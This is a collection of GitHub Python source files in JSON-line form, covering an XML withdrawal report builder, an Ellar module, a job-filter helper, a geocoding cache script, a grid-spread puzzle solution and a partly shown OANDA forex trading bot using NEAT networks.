withdrawal_settings[\"document_path\"]\n            self.month = withdrawal_settings[\"month\"]\n            self.data = withdrawal_settings[\"data\"] + \" 00:00:00\"\n\n        # open book and sheet xlsx\n        self.workbook = openpyxl.load_workbook(self.document_path)\n        self.sheet = self.workbook[self.month]\n\n    def get_xml_cis(self, cis):\n        cis = cis.replace(\"&\", \"&amp;\")\n        cis = cis.replace(\"<\", \"&lt;\")\n        cis = cis.replace(\">\", \"&gt;\")\n        cis = cis.replace(\"\\\"\", \"&quot;\")\n        cis = cis.replace(\"\\'\", \"&apos;\")\n        return cis\n\n    def get_xml_product(self, cis, price):\n        cis = self.get_xml_cis(cis)\n        product = \"\\t\\t<product>\\n\"\n        product += \"\\t\\t\\t<cis>\" + cis + \"</cis>\\n\"\n        product += \"\\t\\t\\t<cost>\" + price + \"00\" + \"</cost>\\n\"\n        product += \"\\t\\t</product>\\n\"\n        return product\n\n    def get_xml_header(self, inn, data, act_of_sale_number):\n        header = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\" + \\\n                 \"<withdrawal version=\\\"8\\\">\\n\" + \\\n                 \"\\t<trade_participant_inn>\" + inn + \"</trade_participant_inn>\\n\" + \\\n                 \"\\t<withdrawal_type>DISTANCE</withdrawal_type>\\n\" + \\\n                 \"\\t<withdrawal_date>\" + data + \"</withdrawal_date>\\n\" + \\\n                 \"\\t<primary_document_type>OTHER</primary_document_type>\\n\" + \\\n                 \"\\t<primary_document_number>\" + act_of_sale_number + \"</primary_document_number>\\n\" + \\\n                 \"\\t<primary_document_date>\" + data + \"</primary_document_date>\\n\" + \\\n                 \"\\t<primary_document_custom_name>АКТПРИЕМАПЕРЕДАЧИ</primary_document_custom_name>\\n\"\n        return header\n\n    def get_xml_report(self):\n        # формируем список id у которых в строке есть значение в поле дата равно значению даты пользователя\n        list_of_ids = []\n        for i in range(2, self.sheet.max_row + 1):\n            tmp = self.sheet.cell(row=i, column=self.data_sale_column)\n            if str(tmp.value) == self.data:\n                list_of_ids.append(i)\n\n        # получаем номер акта прием-передачи\n        act_of_sale_number = str(self.sheet.cell(row=list_of_ids[0], column=self.act_of_sale_id_column).value)\n        act_of_sale_number = \" \".join(act_of_sale_number.split())\n\n        # формируем заголовок файла\n        answer = self.get_xml_header(self.inn, self.data, act_of_sale_number)\n\n        # формируем список xml марок и их цен для каждого товара\n        answer += \"\\t<products_list>\\n\"\n        for i in list_of_ids:\n            cis = str(self.sheet.cell(row=i, column=self.cis_column).value)\n            price = str(self.sheet.cell(row=i, column=self.sale_price_column).value)\n            answer += self.get_xml_product(cis, price)\n        answer += \"\\t</products_list>\\n</withdrawal>\"\n\n        # формируем файл и сохраняем\n        file_out = open(\"reports/\"+self.data + \".xml\", \"a\")\n        file_out.write(answer)\n        file_out.close()\n","repo_name":"jekasrs/ozon-reports","sub_path":"withdrawal/code/ReportWithdrawal.py","file_name":"ReportWithdrawal.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22752921721","text":"from ellar.common import (\n    IExecutionContext,\n    JSONResponse,\n    Module,\n    Response,\n    exception_handler,\n)\nfrom ellar.core import ModuleBase\nfrom ellar.samples.modules import HomeModule\n\nfrom .apps.events.module import EventsModule\n\n\n@Module(modules=[HomeModule, EventsModule])\nclass ApplicationModule(ModuleBase):\n    @exception_handler(404)\n    def exception_404_handler(cls, ctx: IExecutionContext, exc: Exception) -> Response:\n        return JSONResponse({\"detail\": \"Resource not found.\"})\n","repo_name":"eadwinCode/ellar","sub_path":"examples/02-socketio-app/socketio_app/root_module.py","file_name":"root_module.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"3"}
+{"seq_id":"23553726727","text":"import pandas as pd \nimport streamlit\n\ndef jobcat_level(df):\n    \n    job_cat=df['job_category'].unique().tolist()\n    job_cat.sort()\n    job_cat.insert(0,'Overall')\n    career_level=df['career_level'].unique().tolist()\n    career_level.sort()\n    career_level.insert(0,'Overall')\n   \n\n    return job_cat,career_level\n   \n\ndef filter_jobs(job_cat, career, keyword, df):\n    \n    if job_cat=='Overall' and career=='Overall':\n        temp_df=df\n\n    if job_cat=='Overall' and career!='Overall':\n        temp_df=df[(df.career_level.isin(career))]\n\n\n    if job_cat!='Overall' and career=='Overall':\n        temp_df=df[df['job_category'].isin(job_cat)]\n\n    if job_cat!='Overall' and career!='Overall':\n        temp_df = df[(df['job_category'].isin(job_cat)) & (df.career_level.isin(career))]\n\n\n    filtered = temp_df.loc[temp_df['Title'].str.contains(keyword, case=False, regex=True),['Job ID', 'Title', 'agency', 'Salary', 'Post Until', 'job_category', 'career_level']]\n\n    return filtered\n  \n   \n","repo_name":"tahiratabassum19/NYCJobs","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4262399793","text":"#Here our programm loads the name of the univerisities from where.data and \r\nimport urllib.request,urllib.parse,urllib.error\r\nimport http\r\nimport json\r\nimport sqlite3\r\nimport time\r\nimport sys\r\nimport ssl\r\n\r\napi_key = False\r\n# If you have a Google Places API key, enter it here\r\n# api_key = 'AIzaSy___IDByT70'\r\n#Here A\r\nif api_key is False:\r\n    api_key = 42\r\n    serviceurl = \"http://py4e-data.dr-chuck.net/json?\"\r\nelse :\r\n    serviceurl = \"https://maps.googleapis.com/maps/api/geocode/json?\"\r\n#Initiating the database connection\r\nconnection=sqlite3.connect('geography.sqlite')\r\ncurr=connection.cursor()#Initiating the cursor.\r\n#Creating the main table\r\ncurr.execute('create table if not exists location(address text, geodata text)')\r\n#For ignoring ssl certificate errors we set parameters\r\nctx=ssl.create_default_context()\r\nctx.check_hostname=False\r\nctx.verify_mode=ssl.CERT_NONE\r\n#Now we will open the file\r\ndata=open('where.data')\r\ncount=0\r\nfor line in data:\r\n    #First we will check if the value is in the database if yes then we will print it\r\n    address=line.strip()\r\n    print(\"\")\r\n    curr.execute('select geodata from location where address=?',(memoryview(address.encode()),))\r\n    #Now checking the presence of value\r\n    try:\r\n        data= curr.fetchone()[0]\r\n        print(\"Data Found \",data)\r\n        continue\r\n    except:\r\n        pass\r\n    #Now we will move for the condition when the value is not present in the database so we are to insert it\r\n    params=dict()\r\n    params['address']=address\r\n    if api_key is not False:\r\n        params['key']=api_key\r\n    #print(params)\r\n    #Creating the search url with our address\r\n    parse_url=urllib.parse.urlencode(params)\r\n    url=serviceurl+parse_url\r\n    #Now we will perform data retrivation from the url \r\n    request_url=urllib.request.urlopen(url,context=ctx)#Opened the url in back like browser\r\n    data=request_url.read().decode()\r\n    count=count+1\r\n    #print(\"Encoded Url \",parse_url)\r\n    #print(data)#Now seeing the retrived data\r\n    #Now converting the data to it's json format to check some parameter it's optional & may not need always as\r\n    #the data is already in json format\r\n    try:\r\n        js=json.loads(data)\r\n    except:\r\n        print(data)\r\n        continue #If the data is present no need to insert it which we will perform next\r\n    if 'status' not in js or (js['status'] != 'OK' and js['status'] != 'ZERO_RESULTS') :\r\n        print('==== Failure To Retrieve ====')\r\n        print(data)\r\n        break\r\n    #Otherwise insert the data into the table\r\n    curr.execute('insert or ignore into location(address,geodata) values(?,?)',(memoryview(address.encode()),memoryview(data.encode())))\r\n    connection.commit()\r\n\r\n    if count%10==0:\r\n        print('Taking pause for 5 s while retrieving')\r\n        time.sleep(5)\r\n\r\n    \r\n\r\n\r\n\r\n","repo_name":"farhan1503001/Database-with-Python-Coursera.","sub_path":"geolocationloader.py","file_name":"geolocationloader.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7455265706","text":"# *******\r\n# * Read input from STDIN\r\n# * Use: echo or print to output your result to STDOUT, use the /n constant at the end of each result line.\r\n# * Use: sys.stderr.write() to display debugging information to STDERR\r\n# * ***/\r\nimport sys\r\nimport copy\r\n\r\nlines = []\r\nfor line in sys.stdin:\r\n    lines.append(line.rstrip('\\n'))\r\n\r\nN = int(lines[0])\r\n\r\ntable = [[lines[j + 1][i] for i in range(N)] for j in range(N)]\r\nstr_int_list = [str(i) for i in range(N)]\r\n\r\n\r\ndef arrived(x, y, new):\r\n    if y in str_int_list and x != y and new:\r\n        return '='\r\n    elif y == '#':\r\n        return '#'\r\n    elif y == '.':\r\n        return x\r\n    else:\r\n        return y\r\n\r\n\r\nN_max = 0\r\nold_table = 0\r\nwhile N_max < 200:\r\n    new = [[0 for i in range(N)] for j in range(N)]\r\n    old_table = copy.deepcopy(table)\r\n    for i in range(N):\r\n        for j in range(N):\r\n            if old_table[i][j] in str_int_list + ['=']:\r\n                if i + 1 < N:\r\n                    table[i + 1][j] = arrived(old_table[i][j], table[i + 1][j], new[i + 1][j])\r\n                    if table[i + 1][j] != old_table[i + 1][j]:\r\n                        new[i + 1][j] = 1\r\n                if i - 1 > -1:\r\n                    table[i - 1][j] = arrived(old_table[i][j], table[i - 1][j], new[i - 1][j])\r\n                    if table[i - 1][j] != old_table[i - 1][j]:\r\n                        new[i - 1][j] = 1\r\n                if j + 1 < N:\r\n                    table[i][j + 1] = arrived(old_table[i][j], table[i][j + 1], new[i][j + 1])\r\n                    if table[i][j + 1] != old_table[i][j + 1]:\r\n                        new[i][j + 1] = 1\r\n                if j - 1 > -1:\r\n                    table[i][j - 1] = arrived(old_table[i][j], table[i][j - 1], new[i][j - 1])\r\n                    if table[i][j - 1] != old_table[i][j - 1]:\r\n                        new[i][j - 1] = 1\r\n    N_max += 1\r\n\r\nmaxi = 0\r\nfor stri in str_int_list:\r\n    nb = sum(sum(table[i][j] == stri for i in range(N)) for j in range(N))\r\n    if nb > maxi:\r\n        maxi = nb\r\nprint(maxi)\r\n","repo_name":"garnier94/MDF2019","sub_path":"svg_sol/bacterie.py","file_name":"bacterie.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21820282745","text":"import datetime\r\nimport logging\r\nimport os\r\nimport pickle\r\nimport copy\r\nimport neat\r\nfrom packages.oanda_api import oanda_api\r\nfrom packages.tech import trade_check\r\nfrom packages.misc import helpers\r\nimport time\r\nfrom datetime import datetime as now\r\nfrom packages.output import trade_sql, notification, market_csv, reports\r\nfrom decimal import Decimal\r\nimport decimal\r\n\r\n\r\nclass Trader:\r\n    def __init__(self, live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, periods, apikey=None, account_id=None):\r\n        trade_check_ob = {}\r\n        self.range_dict = {}\r\n        if live:\r\n            self.live = True\r\n            self.apikey = apikey\r\n            self.account_id = account_id\r\n            for x in currency_pairs:\r\n                self.range_dict[x] = {}\r\n                trade_check_ob[x] = {}\r\n                for t in gran:\r\n                    self.range_dict[x][t] = None\r\n                    trade_check_ob[x][t] = trade_check.Live(x, t, periods)\r\n            self.trade_check_ob = trade_check_ob\r\n\r\n        if not live:\r\n            self.live = False\r\n            trade_check_ob = {}\r\n            for x in currency_pairs:\r\n                self.range_dict[x] = {}\r\n                trade_check_ob[x] = {}\r\n                for t in gran:\r\n                    self.range_dict[x][t] = None\r\n                    trade_check_ob[x][t] = trade_check.Past(x, t, periods)\r\n            self.trade_check_ob = trade_check_ob\r\n\r\n        self.currency_pairs = currency_pairs\r\n        self.grans = gran\r\n        self.max_risk = max_risk\r\n        self.max_use_day = max_use_day\r\n        self.margin_rate = margin_rate\r\n\r\n    def unit_calc(self, current_price, stop_loss, unit_mult, risk_amount, max_units, margin_used, margin_rate,\r\n                  max_use_day, pair):\r\n        # calculate units\r\n        s_range = abs(current_price - stop_loss)\r\n        if s_range == 0:\r\n            return False\r\n        units = risk_amount / s_range\r\n        if pair == 'USD_JPY':\r\n            units = units * current_price\r\n        trade_margin_used = units / margin_rate\r\n        # test fixing USD_JPY low units bug\r\n        # if current_price > 90.0 or current_price < -90.0:\r\n            # USD_JPY check temp!!!!!\r\n            # units = units * 10\r\n        if trade_margin_used + margin_used >= max_use_day:\r\n            return False\r\n        if units > max_units / 2:\r\n            units = max_units / 2\r\n        units = units * unit_mult\r\n        return units\r\n\r\n    def regular(self, price_data, active_pairs, market_reader_obs=None, track_year=None):\r\n\r\n        # check for possible trades\r\n        # trade ob check and run\r\n        check_results = []\r\n        if self.live:\r\n            logger = logging.getLogger('forex_logger')\r\n        for pair in self.currency_pairs:\r\n            if pair in active_pairs:\r\n                continue\r\n            for g in self.grans:\r\n                if self.live:\r\n                    res = self.trade_check_ob[pair][g].live_candles()\r\n                else:\r\n                    res = self.trade_check_ob[pair][g].back_candles(market_reader_obs, track_year)\r\n                if res is not None:\r\n                    check_results.append(res)\r\n                else:\r\n                    pass\r\n        # check results from trade ob run\r\n        if check_results:\r\n            # nonempty list\r\n            score_list = []\r\n            for pos_trade in check_results:\r\n                score_list.append(pos_trade['score'])\r\n\r\n            top_index = score_list.index(max(score_list))\r\n            top_trade = check_results[top_index]\r\n            # calculate stop_loss, take_profit\r\n            current_price = 0\r\n            for x in price_data:\r\n                if x['instrument'] == top_trade['pair']:\r\n                    if self.live:\r\n                        current_price = float(x['closeoutAsk'])\r\n                    elif not self.live:\r\n                        current_price = x[top_trade['pair']]\r\n            # no price info error\r\n            if current_price == 0 and self.live:\r\n                logger.error('price data not obtained from api')\r\n\r\n            if top_trade['direction'] == 0:\r\n                # short\r\n                unit_mult = -1\r\n            else:\r\n                # long\r\n                unit_mult = 1\r\n            return {'current_price': current_price, 'stop_loss': top_trade['stop_loss'],\r\n                    'take_profit': top_trade['take_profit'],\r\n                    'unit_mult': unit_mult, 'top_trade': top_trade}\r\n        return False\r\n\r\n\r\nclass Neat(Trader):\r\n\r\n    def calc_stop_take_neat(self, pair, price, output, direction, range_out):\r\n        range_out0ran = len(self.grans) - 1\r\n        out_gran = abs(round(range_out[0]))\r\n        range_mult = abs(range_out[1])\r\n        if range_mult > 3.0:\r\n            range_mult = 3.0\r\n        if range_mult < 0.5:\r\n            range_mult = 0.5\r\n        if out_gran > range_out0ran:\r\n            out_gran = range_out0ran\r\n        gran = self.grans[out_gran]\r\n        og_range = self.range_dict[pair][gran]\r\n        range = og_range * range_mult\r\n        if direction == 0:\r\n            # short\r\n            stop_loss = price + range\r\n            tp_mult = 1\r\n            if output <= -1.0:\r\n                if output < -3.0:\r\n                    output = -3.0\r\n                tp_mult = abs(output)\r\n            take_profit = price - (og_range * tp_mult)\r\n        else:\r\n            # long\r\n            stop_loss = price - range\r\n            tp_mult = 1\r\n            if output >= 1.0:\r\n                if output > 3.0:\r\n                    output = 3.0\r\n                tp_mult = abs(output)\r\n            take_profit = price + (og_range * tp_mult)\r\n\r\n        return stop_loss, take_profit\r\n\r\n    def format_results_raw(self, data, ind_len):\r\n        indicator_res = []\r\n        for k in data.keys():\r\n            if type(data[k]) == dict:\r\n                for under_k in data[k].keys():\r\n                    temp_data = data[k][under_k]\r\n                    cut = list(temp_data[-ind_len:])\r\n                    indicator_res = indicator_res + cut\r\n            else:\r\n                temp_data = data[k]\r\n                cut = list(temp_data[-ind_len:])\r\n                indicator_res = indicator_res + cut\r\n        return indicator_res\r\n\r\n    #def format_results_strat(self, trades):\r\n    #    output_lst = []\r\n    #    for t in trades:\r\n    #        score = t['score']\r\n    #        if score == 0:\r\n    #            output_lst.append(score)\r\n    #            continue\r\n    #        direction = t['direction']\r\n    #        if direction == 0:\r\n                # short\r\n    #            score = score * -1\r\n    #        output_lst.append(score)\r\n    #    return output_lst\r\n\r\n    def format_neat_outputs(self, outputs, prices, active_pairs):\r\n        abs_out = []\r\n        # 4th output as range mult test\r\n        range_out = outputs[-2:]\r\n        outputs = outputs[:-2]\r\n        pairs_temp = self.currency_pairs.copy()\r\n        check = True\r\n        top_output = 0\r\n        while check:\r\n            if not pairs_temp:\r\n                return {'execute': False}\r\n            for out in outputs:\r\n                abs_out.append(abs(out))\r\n            top_index = abs_out.index(max(abs_out))\r\n            if pairs_temp[top_index] in active_pairs:\r\n                outputs.pop(top_index)\r\n                pairs_temp.pop(top_index)\r\n                abs_out = []\r\n                continue\r\n            else:\r\n                check = False\r\n            top_output = outputs[top_index]\r\n            pair = pairs_temp[top_index]\r\n            for pa in prices:\r\n                if pa['instrument'] == pair:\r\n                    price = float(pa['closeoutAsk'])\r\n        if top_output >= 1.0:\r\n            # long\r\n            stop, take = self.calc_stop_take_neat(pair, price, top_output, direction=1, range_out=range_out)\r\n            trade_results = {'execute': True, 'current_price': price, 'pair': pair, 'unit_mult': 1, 'stop_loss': stop,\r\n                             'take_profit': take, 'top_trade': {'pair': pair, 'date': datetime.datetime.now()}}\r\n        elif top_output <= -1.0:\r\n            # short\r\n            stop, take = self.calc_stop_take_neat(pair, price,  top_output, direction=0, range_out=range_out)\r\n            trade_results = {'execute': True, 'current_price': price, 'pair': pair, 'unit_mult': -1, 'stop_loss': stop,\r\n                             'take_profit': take, 'top_trade': {'pair': pair, 'date': datetime.datetime.now()}}\r\n        else:\r\n            # No trade\r\n            trade_results = {'execute': False}\r\n        return trade_results\r\n\r\n\r\nclass LiveTrader(Trader):\r\n\r\n    def trade(self, first_run):\r\n        # live data run\r\n        if self.live:\r\n            logger = logging.getLogger('forexlogger')\r\n            # get account info from oanda_api\r\n            info = oanda_api.account_summary(self.apikey, self.account_id)\r\n            info = info['account']\r\n            margin_used = float(info['marginUsed'])\r\n            balance = float(info['balance'])\r\n            risk_amount = float(self.max_risk) * balance\r\n            max_use_day = float(self.max_use_day) * balance\r\n            max_units = float(self.margin_rate) * max_use_day\r\n            margin_rate = self.margin_rate\r\n\r\n            active_pairs = []\r\n\r\n            # check for active trades\r\n            active_trades_sql = trade_sql.all_active_trades()['short_term']\r\n            active_trades_api = oanda_api.open_trades(self.apikey, self.account_id)['trades']\r\n            for trade in active_trades_sql:\r\n                current_id = trade[0]\r\n                check = False\r\n                for api_trade in active_trades_api:\r\n                    if current_id == api_trade['id']:\r\n                        active_pairs.append(api_trade['instrument'])\r\n                        check = True  # if true trade is still active\r\n\r\n                    else:\r\n                        pass\r\n                if not check:\r\n                    # trade closed\r\n                    closed_trade_info = oanda_api.trade_info(self.apikey, self.account_id, current_id)\r\n                    if closed_trade_info is not False:\r\n                        # get trade info and update trade_sql\r\n                        closed_trade_info = closed_trade_info['trade']\r\n                        trade_sql.update_complete_trade(current_id, 'SHORT_TERM',\r\n                                                        units=closed_trade_info['initialUnits'],\r\n                                                        margin_used=closed_trade_info['initialMarginRequired'],\r\n                                                        price=closed_trade_info['price'],\r\n                                                        profit=closed_trade_info['realizedPL'],\r\n                                                        )\r\n                    else:\r\n                        trade_sql.update_complete_trade(current_id, 'SHORT_TERM',\r\n                                                        units='N/A',\r\n                                                        margin_used='N/A',\r\n                                                        price='N/A',\r\n                                                        profit='N/A')\r\n                    # delete from active\r\n                    trade_sql.delete_active_trade(current_id, 'short_term_active')\r\n                    if not first_run:\r\n                        closed_pair = trade_sql.get_trade_info(current_id, 'complete')\r\n                        try:\r\n                            active_pairs.remove(closed_pair[2])\r\n                        except ValueError:\r\n                            pass\r\n            logger.info('Currency(s) with open trades ' + str(active_pairs))\r\n            # check for still pending trade info api to trades_sql\r\n            trade_sql.update_pending_complete(self.apikey, self.account_id)\r\n            # get current price data from oanda_api\r\n            price_data = oanda_api.current_price(self.apikey, self.account_id, self.currency_pairs)\r\n            price_data = price_data['prices']\r\n            system_time = now.now()\r\n            current_unix = time.time()\r\n            current_hr = int(system_time.strftime(\"%H\"))\r\n            # check for trades\r\n            run_info = self.regular(price_data, active_pairs)\r\n\r\n            if run_info is False:\r\n                return True\r\n            # calculate units\r\n\r\n            units = self.unit_calc(run_info['current_price'], run_info['stop_loss'],\r\n                                   run_info['unit_mult'], risk_amount, max_units, margin_used, margin_rate, max_use_day, run_info['top_trade']['pair'])\r\n            if units is not False:\r\n                # execute trade\r\n                trade_info = oanda_api.market_order(self.apikey, self.account_id, units,\r\n                                                    run_info['top_trade']['pair'],\r\n                                                    run_info['stop_loss'], run_info['take_profit'])\r\n                info_sent = str([units, run_info['top_trade']['pair'], run_info['stop_loss'], run_info['take_profit']])\r\n                if 'orderCancelTransaction' in trade_info:\r\n                    reason = trade_info['orderCancelTransaction']['reason']\r\n                    logger.error(f'Error market order, {reason}, info: {info_sent}')\r\n                    notification.send('Error market order, ' + reason)\r\n\r\n                elif 'orderRejectTransaction' in trade_info:\r\n                    reason = trade_info['orderRejectTransaction']['rejectReason']\r\n                    logger.error(f'Error market order, {reason}, info: {info_sent}')\r\n                    notification.send(f'Error market order, ' + reason)\r\n\r\n                else:\r\n                    trade_id = trade_info['orderFillTransaction']['id']\r\n                    logging.info('Market order complete' + trade_id)\r\n                    notification.send('Market order complete' + trade_id)\r\n                    # margin_used = trade_info['orderFillTransaction']['tradeOpened']['initialMarginRequired']\r\n                    if units >= 0:\r\n                        direction = 'LONG'\r\n                    else:\r\n                        direction = 'SHORT'\r\n                    current_balance = float(oanda_api.account_summary(self.apikey, self.account_id)['account']['balance'])\r\n                    trade_sql.add_active_trade(trade_id, run_info['top_trade']['date'],\r\n                                               run_info['top_trade']['pair'], direction, run_info['stop_loss'],\r\n                                               run_info['take_profit'], 'short_term_active', current_balance)\r\n                    #reports.trade_logic_csv(\r\n                    #    [trade_id, units, run_info['current_price'], run_info['stop_loss'], run_info['take_profit'],\r\n                    #     run_info['top_trade']])\r\n            return True\r\n\r\n\r\nclass LiveTraderNeatRaw(LiveTrader, Neat):\r\n    def __init__(self, live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, periods, apikey, account_id, ind_len):\r\n        super(LiveTraderNeatRaw, self).__init__(live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, periods, apikey, account_id)\r\n        self.ind_len = ind_len\r\n        num_in_out = helpers.num_nodes_rawneat(currency_pairs, gran, ind_len)\r\n        self.per_gran_num = num_in_out['inputs_per_gran']\r\n        cur_path = str(os.getcwd())\r\n        config_path = cur_path + '/data/neat_raw_config.txt'\r\n        pickle_load = cur_path + '/data/neat/winner_raw.pkl'\r\n        config = neat.config.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet,\r\n                                    neat.DefaultStagnation, config_path)\r\n        with open(pickle_load, \"rb\") as f:\r\n            genome = pickle.load(f)\r\n        self.raw_net = neat.nn.FeedForwardNetwork.create(genome, config)\r\n\r\n    def regular(self, price_data, active_pairs, market_reader_obs=None, track_year=None):\r\n        # check for possible trades\r\n        # trade ob check and run\r\n        indicator_results = []\r\n        logger = logging.getLogger('forex_logger')\r\n        if all(p in active_pairs for p in self.currency_pairs):\r\n            return False\r\n        for pair in self.currency_pairs:\r\n            if pair in active_pairs:\r\n                indicator_results = indicator_results + [0 for x in range(self.per_gran_num * len(self.grans))]\r\n                continue\r\n            for g in self.grans:\r\n                indicator_data = self.trade_check_ob[pair][g].live_candles(neat_raw=True)\r\n                if indicator_data is None:\r\n                    return False\r\n                else:\r\n                    indicator_data = indicator_data['indicators']\r\n                    self.range_dict[pair][g] = float(indicator_data['atr'][-1])\r\n                    # format results\r\n                    formatted = self.format_results_raw(indicator_data, self.ind_len)\r\n                    indicator_results = indicator_results + formatted\r\n        # run indicator_results through saved neat_raw network\r\n        neat_outputs = self.raw_net.activate(indicator_results)\r\n        trade_results = self.format_neat_outputs(neat_outputs, price_data, active_pairs)\r\n        if trade_results['execute'] is False or trade_results['pair'] in active_pairs:\r\n            return False\r\n        return trade_results\r\n\r\n\r\nclass LiveTraderNeatStrat(LiveTrader, Neat):\r\n\r\n    def __init__(self, live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, periods, apikey, account_id):\r\n        super(LiveTraderNeatStrat, self).__init__(live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, periods, apikey, account_id)\r\n        num_in_out = helpers.num_nodes_stratneat(currency_pairs, gran)\r\n        self.per_gran_num = num_in_out['inputs_per_gran']\r\n        cur_path = str(os.getcwd())\r\n        config_path = cur_path + '/data/neat_strat_config.txt'\r\n        pickle_load = cur_path + '/data/neat/winner_strat.pkl'\r\n        config = neat.config.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet,\r\n                                    neat.DefaultStagnation, config_path)\r\n        with open(pickle_load, \"rb\") as f:\r\n            genome = pickle.load(f)\r\n        self.strat_net = neat.nn.FeedForwardNetwork.create(genome, config)\r\n\r\n    def regular(self, price_data, active_pairs, market_reader_obs=None, track_year=None):\r\n        # check for possible trades\r\n        # trade ob check and run\r\n        formatted_outputs = []\r\n        logger = logging.getLogger('forex_logger')\r\n        if all(p in active_pairs for p in self.currency_pairs):\r\n            return False\r\n        for pair in self.currency_pairs:\r\n            if pair in active_pairs:\r\n                zero_list = [0 for x in range(self.per_gran_num * len(self.grans))]\r\n                formatted_outputs = formatted_outputs + zero_list\r\n                continue\r\n            for g in self.grans:\r\n                trades = self.trade_check_ob[pair][g].live_candles(neat_strat=True)\r\n                self.range_dict[pair][g] = float(trades['range'])\r\n                # format results\r\n                formatted = trades['inputs']\r\n                formatted_outputs = formatted_outputs + formatted\r\n        # run strat results through saved neat_strat network\r\n        neat_outputs = self.strat_net.activate(formatted_outputs)\r\n        trade_results = self.format_neat_outputs(neat_outputs, price_data, active_pairs)\r\n        if trade_results['execute'] is False or trade_results['pair'] in active_pairs:\r\n            return False\r\n        return trade_results\r\n\r\n\r\nclass PastTrader(Trader):\r\n\r\n    def __init__(self, live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, weights, step_str, apikey=None, account_id=None):\r\n        super(PastTrader, self).__init__(live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, weights, apikey, account_id)\r\n        self.market_reader_obs = None\r\n        self.active_trades = []\r\n        self.active_pairs = []\r\n        self.active_data = {'balance': 0, 'margin_used': 0, 'total_trades': 0}\r\n        self.step_str = step_str\r\n        self.all_trades_info = []\r\n\r\n    def add_market_readers(self, market_reader_obs):\r\n        self.market_reader_obs = market_reader_obs\r\n\r\n    def calc_profit(self, profit, units):\r\n        profit = profit * abs(units)\r\n        return profit\r\n\r\n    def save_trade(self, trade, price_current, apply_profit, date, end_week=False):\r\n        save = trade.copy()\r\n        save['current_price'] = price_current\r\n        save['profit'] = apply_profit\r\n        save['end_week'] = end_week\r\n        #save['date'] = date\r\n        self.all_trades_info.append(save)\r\n\r\n    def sell_all(self, track_year):\r\n        if self.active_trades is False:\r\n            return\r\n        items_to_remove = []\r\n        for x in self.active_trades:\r\n            price_current = self.market_reader_obs[track_year][x['pair']][self.step_str].get_current_price()\r\n            price_current = (price_current[0] + price_current[1]) / 2\r\n            profit = 0\r\n            if x['units'] > 0:\r\n                # long\r\n                profit = price_current - x['price']\r\n            elif x['units'] < 0:\r\n                # short\r\n                profit = x['price'] - price_current\r\n\r\n            if x['pair'] == 'USD_JPY':\r\n                profit = profit / price_current\r\n\r\n            self.active_data['margin_used'] -= x['margin_used']\r\n            apply_profit = self.calc_profit(profit, x['units'])\r\n            self.active_data['balance'] = round(self.active_data['balance'] + apply_profit)\r\n            self.active_pairs.remove(x['pair'])\r\n            items_to_remove.append(x)\r\n            self.active_data['total_trades'] += 1\r\n            self.save_trade(x, price_current, apply_profit, x['date'], end_week=True)\r\n\r\n        for i in items_to_remove:\r\n            self.active_trades.remove(i)\r\n\r\n    def active_trade_check(self, track_year, price_data):\r\n        #print(self.active_pairs)\r\n        #print(len(self.active_trades))\r\n        items_to_remove = []\r\n        pairs_to_remove = []\r\n        for x in self.active_trades:\r\n            price_current = self.market_reader_obs[track_year][x['pair']][self.step_str].current_price\r\n            price_current = (price_current[0] + price_current[1]) / 2\r\n            profit = None\r\n            if x['units'] > 0:\r\n                # long\r\n                if price_current >= x['take_profit']:\r\n                    # profit\r\n                    profit = x['take_profit'] - x['price']\r\n                elif price_current <= x['stop_loss']:\r\n                    # loss\r\n                    profit = x['stop_loss'] - x['price']\r\n            elif x['units'] < 0:\r\n                # short\r\n                if price_current <= x['take_profit']:\r\n                    # profit\r\n                    profit = x['price'] - x['take_profit']\r\n                elif price_current >= x['stop_loss']:\r\n                    # loss\r\n                    profit = x['price'] - x['stop_loss']\r\n            if profit is not None:\r\n                if x['pair'] == 'USD_JPY':\r\n                    profit = profit / price_current\r\n                self.active_data['margin_used'] -= x['margin_used']\r\n                apply_profit = self.calc_profit(profit, x['units'])\r\n                self.active_data['balance'] = self.active_data['balance'] + apply_profit\r\n                pairs_to_remove.append(x['pair'])\r\n                items_to_remove.append(x)\r\n                self.active_data['total_trades'] += 1\r\n                self.save_trade(x, price_current, apply_profit, x['date'])\r\n        for i in items_to_remove:\r\n            self.active_trades.remove(i)\r\n        for i in pairs_to_remove:\r\n            self.active_pairs.remove(i)\r\n\r\n    def trade_past(self, track_year, track_datetime):\r\n        # logger = logging.getLogger('backtestlogger')\r\n        balance = self.active_data['balance']\r\n        risk_amount = float(self.max_risk) * balance\r\n        max_use_day = float(self.max_use_day) * balance\r\n        max_units = float(self.margin_rate) * max_use_day\r\n        price_data = []\r\n        # get track price\r\n        for p in self.currency_pairs:\r\n            price = self.market_reader_obs[track_year][p][self.step_str].current_price\r\n            if price is None:\r\n                continue\r\n            price_data.append({'instrument': p, p: (price[0] + price[1]) / 2})\r\n        # check active trades\r\n        self.active_trade_check(track_year, price_data)\r\n\r\n        # run regular\r\n        run_info = self.regular(price_data, self.active_pairs, self.market_reader_obs, track_year)\r\n        if run_info is False:\r\n            return True\r\n        # calculate units\r\n        units = self.unit_calc(run_info['current_price'], run_info['stop_loss'],\r\n                               run_info['unit_mult'], risk_amount, 